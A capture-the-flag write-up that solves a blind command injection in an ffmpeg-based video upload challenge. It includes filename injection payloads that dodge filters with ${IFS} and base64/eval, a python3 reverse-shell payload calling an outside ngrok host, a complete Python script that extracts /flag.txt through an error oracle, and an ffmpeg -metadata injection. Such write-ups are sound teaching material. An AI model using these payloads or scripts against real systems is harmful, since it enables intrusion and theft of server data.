Intigriti Challenge 0723 - Blind Command Injection

lexsai | 2023-07-20

The Challenge

The challenge is available here.

The site greets us with a form to upload a .mp4 file. If we submit a video, the site sends back the audio component of our video in .wav format.

The goal is to find a flag hidden on the web server.

Recon

Before we start trying to break the site, we should know as much as possible about what we’re trying to break. The site sends us back a .wav file, so maybe we should check that out for exif data?

$ exiftool extracted_audio.wav

ExifTool Version Number         : 12.40
File Name                       : extracted_audio.wav
Directory                       : .
File Size                       : 722 KiB
File Modification Date/Time     : 2023:07:18 11:39:25+10:00
File Access Date/Time           : 2023:07:18 18:36:38+10:00
File Inode Change Date/Time     : 2023:07:18 11:39:30+10:00
File Permissions                : -rwxrwxrwx
File Type                       : WAV
File Type Extension             : wav
MIME Type                       : audio/x-wav
Encoding                        : MP3
Num Channels                    : 2
Sample Rate                     : 44100
Avg Bytes Per Sec               : 24000
Bits Per Sample                 : 0
Number Of Samples               : 1357738
Software                        : Lavf58.20.100
Duration                        : 0:00:31

That Software header is interesting. If we are to believe it, our file was created using Lavf58.20.100. What is that?

Putting it into google, the first result that comes up is actually the wikipedia page for ffmpeg:

FFmpeg also includes other tools: … libavformat (Lavf), an audio/video container mux and demux library

Muxing/Demuxing basically means joining/splitting signals apart– like splitting apart the audio from a video file. It’s interesting that our input is passed through ffmpeg, because it suggests that our input file might be passed as an argument on the command line. We should keep a look out for command injection.

Other than that, it doesn’t seem like there’s any other hints as to what’s running on the site. Nothing in the source code nor the ingoing/outgoing requests.

What Makes a Video a Video?

If the video upload is the entire site, then we’re probably looking for some kind of file upload vulnerability. In our search, we’ll need to answer one question: what makes a video file a video file?

Wow, that’s really philosophical. But really, if we’re trying to upload something malicious to the server, we need to figure out what the server will let us upload. Is it the extension at the end of the filename? Is it some arbitrary series of bytes in the header? Some arbitrary filesize that needs to be met?

We craft inputs to the server to answer this question.

The Filename

If we send a file without the .mp4 at the end of the filename, it errors on us:

Apparently we also need to keep our filename free of spaces?

What makes a video a video?

  1. A video filename must end with .mp4 and be free of spaces.

Command Injection?

Before we fuzz the contents of our video file, let’s check the filename for the command injection that we, from our recon, suspect might be here.

If the server is indeed passing our file to ffmpeg on the command line, the command being run is probably something like

ffmpeg -i <our file> -vn -acodec copy extracted_audio.wav

(From the first stackoverflow post I found for ‘extracting audio from a video’, available here.)

We’ll use # to comment out the necessary .mp4 and everything else after our injection. We’ll use ; to inject our command:

ffmpeg -i ;ls;#.mp4 -vn -acodec copy extracted_audio.wav

If the server is only producing errors when we put in non-existent linux commands, we’ve probably found command injection.

The Challenge

Well, if we have command injection in our filename, it probably doesn’t matter what we have in our file contents– let’s try submitting an empty file with a command injection:

Cool.

However, no matter what we make the server do, we always get the same output back to us. This is because we’re not modifying the extracted_audio.wav file that gets sent back. Every once in a while the output would change, presumably because someone uploaded a new file.

So, the challenge is that we need to perform a blind command injection without spaces, from a filename?

If it’s a filename, we also can’t use forward slashes, because according to wikipedia:

In Unix-like file systems, the null character and the path separator / are prohibited.

So we’ll take a payload from revshells.com, substitute space for ${IFS}, hex encode the forward slashes, and then it should work, right?

By testing, we can determine that python3 is available on the server:

But, if we try to send a revshell payload that should theoretically work, like

;python3${IFS}-c${IFS}${IFS}$'s=__import__(\'socket\').socket();s.connect((\'0.tcp.au.ngrok.io\',18904));[__import__(\'os\').dup2(s.fileno(),0),__import__(\'os\').dup2(s.fileno(),1),__import__(\'os\').dup2(s.fileno(),2)];__import__(\'pty\').spawn(\'\x2fbin\x2fsh\')';#.mp4`

it fails:

If we attempt to submit other revshell payloads that should work, we get a similar result– this time, by calling eval on a base64 encoded bash payload that we decode with command substitution:

This leads us to one conclusion:

We can’t establish outgoing connections.

SOLUTION 1: Error-Based Command Injection

Well, if we can’t establish a revshell, we’ll just work with the server.

Looking around, we can determine that the file /flag.txt must exist from the fact that attempting to access non-existent files causes an error (at this point, I just started base64 encoding every one of my commands so I wouldn’t have to worry about filters):

cat /flag.txt

cat /nonexistentfileprobablyihopeso

In blind SQL injection, a common technique is using an error-based or time-based oracle to determine the character code of some character in the data.

Why can’t we do the same here?

We can pipe our cat /flag.txt to cut to get a character. Then, we pipe again to od to determine the character code. From there, we use test or if to trigger some conditional behaviour based on the character code– like dividing by 0 to deliberately cause an error.

A payload for testing the first character might look like:

test $(cat /flag.txt | cut -c 0 | tr -d "\n" | od -An -t dC) -gt <char code> && echo plswork || 1/0

We can use our base64 encoded payload method from before to ignore the character restrictions and extend it using a binary search algorithm to determine each character in around 8 requests:

Note: I know the flag is 46 characters long because od returns 0 when the character is non-existent.

import requests
import base64

VICTIM_URL = 'https://challenge-0723.intigriti.io'
UPLOAD_ENDPOINT = '/upload'

FLAG_LENGTH = 46

# we assume the flag is ascii printable
MAX_CHAR_CODE = 126
MIN_CHAR_CODE = 33

def greater_query_cmd(index, charCode):
    return fr'test $(cat /flag.txt | cut -c {index + 1} | tr -d "\n" | od -An -t dC) -gt {charCode} && echo plswork || 1/0'

def lesser_query_cmd(index, charCode):
    return fr'test $(cat /flag.txt | cut -c {index + 1} | tr -d "\n" | od -An -t dC) -lt {charCode} && echo plswork || 1/0'

def equal_query_cmd(index, charCode):
    return fr'test $(cat /flag.txt | cut -c {index + 1} | tr -d "\n" | od -An -t dC) -eq {charCode} && echo plswork || 1/0'

def build_payload(cmd):
    cmd_base64 = base64.b64encode(cmd.encode('utf-8')) 
    return r'abcd.mp4;eval${IFS}$(echo${IFS}' + cmd_base64.decode('utf-8') + r'|base64${IFS}-d);#${IFS}.mp4'

def send_cmd(cmd):
    payload = build_payload(cmd)
    files = {
        'video': (
            payload,
            bytes(),
            'video/mp4'
        )
    }
    r = requests.post(
        VICTIM_URL + UPLOAD_ENDPOINT, 
        files = files
    )
    result = 'error' not in r.text
    return result

def search_character(char_index):
    print('[SEARCH] beginning search for character at index', char_index)    
    upper = MAX_CHAR_CODE
    lower = MIN_CHAR_CODE
    while (lower <= upper):
        middle = int((lower + upper) / 2)
        if (send_cmd(greater_query_cmd(char_index, middle))):
            print('[SEARCH] character is greater than', middle)
            lower = middle + 1
        elif (send_cmd(lesser_query_cmd(char_index, middle))):
            print('[SEARCH] character is less than', middle)
            upper = middle - 1
        else:
            return chr(middle)
    return None

def main():
    final_string = ''
    char_index = 0

    while (char_index < FLAG_LENGTH):
        final_string += search_character(char_index)
        print('CURRENTLY KNOWN TEXT:', final_string)
        char_index += 1

if __name__ == '__main__':
    main()

Running this for around 10 minutes, we obtain the flag. (I could have parallelized it to go faster but why bother? :) )

The flag is INITGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll}.

SOLUTION 2: Using FFMPEG to Write to extracted_audio.wav

Sure, error-based command injection is cool. But isn’t there some more elegant way of doing this challenge, without making so many requests? Isn’t there some output that we have access to?

Well, what about extracted_audio.wav? Typically, the ffmpeg command would generate it and then it would be sent to the user. What if we cat our flag but redirect it into extracted_audio.wav?

We base64 encode cat /flag.txt > extracted_audio.wav and use our previous technique once again, but this fails:

Most likely, it fails because we’re not writing to the correct extracted_audio.wav. Who knows what directory that file is in? This is a dead end.

If we want to write to the correct extracted_audio.wav, there’s actually a really simple way.

Recall that originally, the command was likely something like:

ffmpeg -i <our filename> -vn -acodec copy /somefolder/folder/extracted_audio.wav

What if our injection made ffmpeg write the flag into extracted_audio.wav?

In fact, if we take a look at the ffmpeg documentation, we can see a super obvious candidate: the -metadata tag.

-metadata[:metadata_specifier] key=value (output,per-metadata)
Set a metadata key/value pair.

An optional metadata_specifier may be given to set metadata on streams, chapters or programs. See -map_metadata documentation for details.

This option overrides metadata set with -map_metadata. It is also possible to delete metadata by using an empty value.

For example, for setting the title in the output file:

ffmpeg -i in.avi -metadata title="my title" out.flv
To set the language of the first audio stream:

ffmpeg -i INPUT -metadata:s:a:0 language=eng OUTPUT

We’ll follow their example and try to set the title of extracted_audio.wav to the contents of /flag.txt. We’ll send this filename:

sample.mp4 -metadata title=$(cat /flag.txt).mp4

To hopefully produce this executed command:

ffmpeg -i sample.mp4 -metadata title=$(cat /flag.txt).mp4 -vn -acodec copy /somefolder/folder/extracted_audio.wav

In our actual payload, we’ll base64 encode the cat /flag.txt part and replace any spaces with ${IFS} to ensure we don’t have to deal with the filter. This gives us a final payload of:

sample-mp4-file-small.mp4${IFS}-metadata${IFS}title=$(eval${IFS}$(echo${IFS}Y2F0IC9mbGFnLnR4dA==|base64${IFS}-d)).mp4

The flag appears in the selected text. Much more elegant!

Final Remarks

Thanks to kavigihan for creating the challenge.